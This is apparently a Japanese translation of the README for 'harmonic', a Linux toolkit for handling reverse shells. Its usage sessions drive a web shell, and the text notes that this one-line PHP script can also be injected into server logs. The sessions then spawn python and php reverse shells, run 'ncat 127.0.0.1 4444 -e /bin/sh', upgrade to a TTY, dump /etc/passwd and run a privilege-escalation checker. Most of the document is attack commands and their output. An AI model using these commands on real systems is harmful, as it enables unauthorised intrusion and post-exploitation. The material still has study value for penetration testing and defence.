
Suite for reverse shell handling geared toward working within the native shell
Linux用のツールセットで、リバースシェルの管理とインターフェースを提供するために開発中です(コードはまだ迅速かつ不完全な状態で、例外処理はほとんどありません)。UNIX哲学に強く影響を受けており、基本的なアイデアは、任意のエンドポイントを処理するデーモン(connd、ただしまだ適切なデーモンではありませんが、別のターミナルで実行可能)を用意し、それらのエンドポイントに対してツールを実行することです。
エンドポイントは、スクリプトまたはプロセスによって「駆動」され、ファイルシステム上のファイルとして公開されます。その後、薄いソフトウェアクライアントを使用して操作できますが、シェルコマンドを使って読み書きすることも同様に簡単です。実際、シェルからスクリプトを単独で実行できることは重要な設計要素であり、理想的には、スクリプトはエンドポイントが存在することに依存しますが、組み合わせて使用することも可能です(相互に連鎖)。
現在のエンドポイントオプションは次のとおりです。
薄いソフトウェアクライアント(hthinc.py)は、システムのエンドポイントへの基本的なインターフェースを提供し、システムに対してスクリプトをすばやく実行します。いくつかの基本的だが便利なスクリプトが書かれています。
リバースシェルドライバ(つまり、リモートシステム上でシェルを駆動するもの)の種類は以下のとおりです(現在はlinuxをサポート)。
その他のスクリプト:
conndにエンドポイントの起動を指示し、指定されたPHPスクリプトに対してウェッジシェルドライバを使用します。このPHPスクリプトはシステムコールを実行し、フォーマットされた応答を返します。ただし、この1行のスクリプトは、サーバーログにコードインジェクションされた場合と同様に簡単に使用できます。
$ hconnd.py start wsh http://example.com/hwsh.php
1
これによりエンドポイント1が作成されました(2つの入出力パイプがあり、runサブディレクトリ内でt1iおよびt1oとして確認できます)。次に、hthinc.pyを使用してシェルと対話します。
$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0
これがLinuxボックスであることがわかりました。ウェッジされたWebシェルから脱却し、適切なシェルを取得したいと思います。組み込みコマンド !help を実行すると、thincのヘルプメッセージが表示されます。スクリプト sp を実行すると、リモートシステムに対して自動的にコマンドを実行し、環境を列挙し、ncエンドポイントを起動し、リバースシェルを生成し、新しいhthinc.pyを介して自動的にドロップインします。
runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
または、(例として)ドライバとしてPHPを使用していることがわかっている場合は、それを指定できます。
runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
そして、シェルにTTYがない場合や脱出したい場合は、デフォルトのマクロの1つを実行できます。
$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$
また、コマンドの出力をログに記録したい場合は、logスクリプトを使用して、現在の作業ディレクトリに保存できます。
$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh
[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0
エンドポイントが実行中の場合、接続プロセスはデーモンによって管理されるため、クライアントのアタッチ/デタッチが可能です。
すべてをよりUNIX的な方法で実行できるため、シェルからプロセスをすばやく繰り返すことができます。Webシェルエンドポイントを起動し、エンドポイントIDを取得して、シェルからsp.pyスポナーンスクリプトをエンドポイントに対して実行します(hthinc.pyで使用されているのと同じスクリプトですが、エントリポイントが異なります)。
$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
または、ワンライナーとして:
$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
そして簡単に自動化:
$ cat reverse.sh
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
$ ./reverse.sh
<harmonic> basic shell spawner
[+] Running enumeration...
...
$
ツールhcmd.pyを使用すると、シェルからエンドポイントを介してコマンドをすばやく実行できます。
$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux
結果をパイプやリダイレクトすることも通常通り可能です。
$ hcmd.py 2 ifconfig | grep wlan
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
hconn.py の list 動詞を使用すると、現在のエンドポイントの一覧を、該当する場合は接続状態とともに表示できます。
$ hconn.py list
1 [26616]: /home/runik/Tools/harmonic/hwsh.py http://10.15.10.4/hwsh.php
2 [26622]: nc -lp 4455 Established -> 10.15.10.4
3 [26659]: nc -nlvp 4495 Listening
ウェッジシェルエンドポイントをセットアップ:
$ hconn.py start wsh http://example.com/hwsh.php
1
次に、ポート4444でnetcatリスナーをセットアップ:
$ hconn.py start nc 4444
2
そして、入力ファイルを介してウェッジシェルエンドポイント(eid 1)に書き込みます:
$ echo "ncat 127.0.0.1 4444 -e /bin/sh" > run/t1i
これにより、netcatリスナーにシェルが送り返されるはずです。薄いクライアントをnetcatエンドポイント(eid 2)にアタッチすると、別のシェルが待機しているはずです。
$ hthinc.py 2
<harmonic> thinc
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
シェルインターフェースをファイルに一般化すると、Webシェルエンドポイントに対して使用されるスクリプトが、netcatリバースシェルエンドポイントに対しても機能するようになります。スクリプトは、絶対パス($HCROOT/share/script/*.py)を使用するか、ヘルパースクリプト hscr.py を使用して呼び出すことができます。
sp.pyをnetcatエンドポイントに対して実行し、別のリバースシェルを生成できます。
$ hscr.py 2 sp 4495 127.0.0.1
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Starting endpoint... 3
[+] Generating python reverse shell command (127.0.0.1:4495)... OK
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$
絶対パスを使用した同等のコマンドは $ $HCROOT/share/script/sp.py 2 4495 127.0.0.1 です。
または、Webシェルに対してLinux Priv Escalation Checkerを実行できます。
$ $HCROOT/share/script/lpc.py 1
<harmonic> Linux Priv Check Wrapper
============================================================
LINUX PRIVILEGE ESCALATION CHECKER
============================================================
...
Finished
また、hthinc.pyインスタンス内でそれらを呼び出すこともできます。
!run lpc
環境変数を使用してグローバル値を定義できます。変数には、優先順位が低い順に3つのレベルがあります。
リソースファイル変数は$HCROOT/.hcrcで定義されます。これらは最も優先順位が低いですが、システム全体の環境変数を汚染しないために使用できます。
環境/シェル変数は、シェルによってプロセスに取り込まれ、HCV_ という接頭辞が付きます。これらはリソース変数とマージされ、既存の値を上書きします。
インライン変数は、以前に定義されたものをすべて上書きします。
これらの例では、LHOST=127.0.0.1が .hcrcのリソース変数として定義されており、スクリプトの使用法は./script LPORT [LHOST] です。
次のスクリプトでは、LHOST=127.0.0.1、LPORT=4455が使用されます(リソース変数)。
$ ./script 4455
次のスクリプトでは、LHOST=192.168.1.101、LPORT=4455が使用されます(シェル変数)。
$ HCV_LHOST=192.168.1.101 ./script 4455
次のスクリプトでは、LHOST=10.10.10.125が使用されます(インライン変数)。
$ HCV_LHOST=192.168.1.101 ./script 4455 10.10.10.125
同じ原則がhthinc.pyの!run SCRにも適用できます(環境/シェル変数は./hthinc.pyに渡されるものであることに注意してください)。